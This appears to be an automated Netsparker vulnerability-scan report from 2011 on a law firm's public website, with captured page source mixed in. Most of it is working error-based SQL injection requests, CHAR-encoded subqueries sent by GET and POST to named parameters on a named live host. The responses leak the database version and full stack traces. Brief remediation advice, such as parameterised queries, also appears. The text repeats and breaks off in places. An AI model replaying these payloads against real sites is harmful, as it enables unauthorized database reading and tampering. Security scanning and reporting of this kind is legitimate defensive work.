str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
HTTP/1.1 200 OK Date: Thu, 12 May 2011 17:47:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 34224
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
HTTP/1.1 200 OK Date: Thu, 12 May 2011 18:35:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 26549
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <title>McCarter&English | Michael Glasheen</title> <META NAME="KEYWORDS" CONTENT="Michael,Glasheen,Michael Glasheen,Business & Financial Services Litigation" > <META NAME="DESCRIPTION" CONTENT="Mr. Glasheen practices in the area of commercial litigation in federal and state trial and appellate courts with a current emphasis on life and disability carrier litigation. Mr. Glasheen has represented insurance clients for 20 years. This experi">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <META NAME="ROBOTS" CONTENT="NOYDIR,NOODP"> <META NAME="KEYWORDS" CONTENT="McCarter,McCarter & English,McCarter and English,McCarter English"> <META NAME="DESCRIPTION" CONTENT="McCarter & English, LLP is a firm of over 400 lawyers with offices in Boston, Hartford, Stamford, New York City, Newark, Philadelphia and Wilmington."> <script language="JavaScript" type="text/JavaScript"> <!-- function OpenWindow(url, name,features ) { window.open(url, name,features) }
function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} }
function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; }
function MM_findObj(n, d) { //v4.01 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && d.getElementById) x=d.getElementById(n); return x; }
function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} }
function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload(); } MM_reloadPage(true); //--> </script> <script> function MM_jumpMenu(targ,selObj,restore){ //v3.0 eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'"); if (restore) selObj.selectedIndex=0; } </script> <script> function emailWarning(){ //str = 'NOTICE. These materials have been prepared by McCarter & English, LLP for ' + // 'informational purposes only and are not legal advice. This information is not ' + // 'intended to create, and receipt of it does not constitute, a lawyer-client ' + // 'relationship. You should not act upon this information without seeking ' + // 'professional counsel. In addition, we cannot represent you until we know that ' + // 'doing so will not create a conflict of interest. Nor can we treat unsolicited ' + // 'information as confidential. \n\nAccordingly, please do not send us any ' + // 'information about any matter that may involve you until you receive a ' + // 'written statement from us that we represent you (an "engagement letter").\n\nBy ' + // 'clicking "OK" you are confirming that you have read and understand this notice';
str = 'The McCarter & English website is for informational purposes only. We do not provide legal advice on this website. We can provide legal advice only to our clients in specific inquiries that they address to us. If you are interested in becoming a client, please contact us, but do not send us any information about your specific legal question. We cannot serve as your lawyers until we establish an attorney-client relationship, which can occur only after we follow procedures within our firm and after we agree to the terms of representation.'
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database.
Impact
Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:
Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database
Actions to Take
See the remedy for solution.
If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.
Remedy
A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.
Required Skills for Successful Exploitation
There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.
(select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns)
Extracted Data
microsoft sql server 2005 - 9.00.3042.00 (intel x86)
feb 9 2007 22:47:07
copyright (c) 1988-2005 microsoft corporation
standard edition on windows nt 5.2 (build 3790: service pack 2)
Request
GET /new/showlocationnew.aspx?show=(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns) HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showlocationnew.aspx&show=1433 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Thu, 12 May 2011 16:19:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 4176
<html> <head> <title>Conversion failed when converting the varchar value '_!@2dilemma' to data type int.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/new' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Conversion failed when converting the varchar value '_!@2dilemma' to data type int.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
[SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.] System.Data.SqlClient.SqlDataReader.Read() +176 Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) System.Web.UI.Control.OnLoad(EventArgs e) +67 System.Web.UI.Control.LoadRecursive() +35 System.Web.UI.Page.ProcessRequestMain() +750 </pre></code>
</td> </tr> </table>
<br>
<hr width=100% size=1 color=silver>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Conversion failed when converting the varchar value '_!@2dilemma' to data type int. at System.Data.SqlClient.SqlDataReader.Read() at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
(select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns)
sortby
GET
3
by
GET
3
title
GET
3
related
GET
3
Extracted Data
microsoft sql server 2005 - 9.00.3042.00 (intel x86)
feb 9 2007 22:47:07
copyright (c) 1988-2005 microsoft corporation
standard edition on windows nt 5.2 (build 3790: service pack 2)
Request
GET /new/showlocationnew.aspx?PrintPage=True&Show=(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)&sortby=3&by=3&title=3&related=3 HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showlocationnew.aspx&show=1433 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Thu, 12 May 2011 16:37:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 4176
<html> <head> <title>Conversion failed when converting the varchar value '_!@2dilemma' to data type int.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/new' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Conversion failed when converting the varchar value '_!@2dilemma' to data type int.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
[SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.] System.Data.SqlClient.SqlDataReader.Read() +176 Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) System.Web.UI.Control.OnLoad(EventArgs e) +67 System.Web.UI.Control.LoadRecursive() +35 System.Web.UI.Page.ProcessRequestMain() +750 </pre></code>
</td> </tr> </table>
<br>
<hr width=100% size=1 color=silver>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Conversion failed when converting the varchar value '_!@2dilemma' to data type int. at System.Data.SqlClient.SqlDataReader.Read() at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
Related
GET
3
Extracted Data
microsoft sql server 2005 - 9.00.3042.00 (intel x86)
feb 9 2007 22:47:07
copyright (c) 1988-2005 microsoft corporation
standard edition on windows nt 5.2 (build 3790: service pack 2)
Request
GET /new/showbionew.aspx?show='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&Related=3 HTTP/1.1 Referer: http://www.mccarter.com/new/homenew.aspx?searchlink=showbionew&Show=1121 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Accept-Encoding: gzip, deflate
Response
HTTP/1.1 500 Internal Server Error Date: Thu, 12 May 2011 16:39:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 4166
<html> <head> <title>Conversion failed when converting the varchar value '_!@2dilemma' to data type int.</title> <style> body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;} p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px} b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px} H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red } H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon } pre {font-family:"Lucida Console";font-size: .9em} .marker {font-weight: bold; color: black;text-decoration: none;} .version {color: gray;} .error {margin-bottom: 10px;} .expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; } </style> </head>
<body bgcolor="white">
<span><H1>Server Error in '/new' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Conversion failed when converting the varchar value '_!@2dilemma' to data type int.</i> </h2></span>
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
[SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.] System.Data.SqlClient.SqlDataReader.Read() +176 Mccarter.Saturno.Web.showbionew.Page_Load(Object sender, EventArgs e) System.Web.UI.Control.OnLoad(EventArgs e) +67 System.Web.UI.Control.LoadRecursive() +35 System.Web.UI.Page.ProcessRequestMain() +750 </pre></code>
</td> </tr> </table>
<br>
<hr width=100% size=1 color=silver>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Conversion failed when converting the varchar value '_!@2dilemma' to data type int. at System.Data.SqlClient.SqlDataReader.Read() at Mccarter.Saturno.Web.showbionew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
microsoft sql server 2005 - 9.00.3042.00 (intel x86)
feb 9 2007 22:47:07
copyright (c) 1988-2005 microsoft corporation
standard edition on windows nt 5.2 (build 3790: service pack 2)
Request
POST /new/showlocationnew.aspx?show=(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns) HTTP/1.1 Referer: http://www.mccarter.com/new/showlocationnew.aspx?show=1433 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Content-Length: 6698 Accept-Encoding: gzip, deflate
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
[SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.] System.Data.SqlClient.SqlDataReader.Read() +176 Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) System.Web.UI.Control.OnLoad(EventArgs e) +67 System.Web.UI.Control.LoadRecursive() +35 System.Web.UI.Page.ProcessRequestMain() +750 </pre></code>
</td> </tr> </table>
<br>
<hr width=100% size=1 color=silver>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Conversion failed when converting the varchar value '_!@2dilemma' to data type int. at System.Data.SqlClient.SqlDataReader.Read() at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
microsoft sql server 2005 - 9.00.3042.00 (intel x86)
feb 9 2007 22:47:07
copyright (c) 1988-2005 microsoft corporation
standard edition on windows nt 5.2 (build 3790: service pack 2)
Request
POST /new/showlocationnew.aspx?PrintPage=True&Show=(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)&sortby=3&by=3&title=3&related=3 HTTP/1.1 Referer: http://www.mccarter.com/new/showlocationnew.aspx?PrintPage=True&Show=1433&sortby=&by=&title=&related= User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Content-Length: 6698 Accept-Encoding: gzip, deflate
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
[SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.] System.Data.SqlClient.SqlDataReader.Read() +176 Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) System.Web.UI.Control.OnLoad(EventArgs e) +67 System.Web.UI.Control.LoadRecursive() +35 System.Web.UI.Page.ProcessRequestMain() +750 </pre></code>
</td> </tr> </table>
<br>
<hr width=100% size=1 color=silver>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Conversion failed when converting the varchar value '_!@2dilemma' to data type int. at System.Data.SqlClient.SqlDataReader.Read() at Mccarter.Saturno.Web.showlocationnew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
microsoft sql server 2005 - 9.00.3042.00 (intel x86)
feb 9 2007 22:47:07
copyright (c) 1988-2005 microsoft corporation
standard edition on windows nt 5.2 (build 3790: service pack 2)
Request
POST /new/showbionew.aspx?show='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&Related=3 HTTP/1.1 Referer: http://www.mccarter.com/new/showbionew.aspx?show=1121&Related= User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: www.mccarter.com Cookie: ASP.NET_SessionId=dovbcr45tyczie45c0bmue45 Content-Length: 5788 Accept-Encoding: gzip, deflate
<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
<br><br>
<b> Exception Details: </b>System.Data.SqlClient.SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.<br><br>
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>
[SqlException: Conversion failed when converting the varchar value '_!@2dilemma' to data type int.] System.Data.SqlClient.SqlDataReader.Read() +176 Mccarter.Saturno.Web.showbionew.Page_Load(Object sender, EventArgs e) System.Web.UI.Control.OnLoad(EventArgs e) +67 System.Web.UI.Control.LoadRecursive() +35 System.Web.UI.Page.ProcessRequestMain() +750 </pre></code>
</td> </tr> </table>
<br>
<hr width=100% size=1 color=silver>
<b>Version Information:</b> Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2470
</font>
</body> </html> <!-- [SqlException]: Conversion failed when converting the varchar value '_!@2dilemma' to data type int. at System.Data.SqlClient.SqlDataReader.Read() at Mccarter.Saturno.Web.showbionew.Page_Load(Object sender, EventArgs e) at System.Web.UI.Control.OnLoad(EventArgs e) at System.Web.UI.Control.LoadRecursive() at System.Web.UI.Page.ProcessRequestMain() [HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown. at System.Web.UI.Page.HandleError(Exception e) at System.Web.UI.Page.ProcessRequestMain() at System.Web.UI.Page.ProcessRequest() at System.Web.UI.Page.ProcessRequest(HttpContext context) at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) --><!-- This error page might contain sensitive information because ASP.NET is configured to show verbose error messages using <customErrors mode="Off"/>. Consider using <customErrors mode="On"/> or <customErrors mode="RemoteOnly"/> in production environments.-->
'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
Extracted Data
microsoft sql server 2005 - 9.00.3042.00 (intel x86)
feb 9 2007 22:47:07
copyright (c) 1988-2005 microsoft corporation
standard edition on windows nt 5.2 (build 3790: service pack 2)
Request
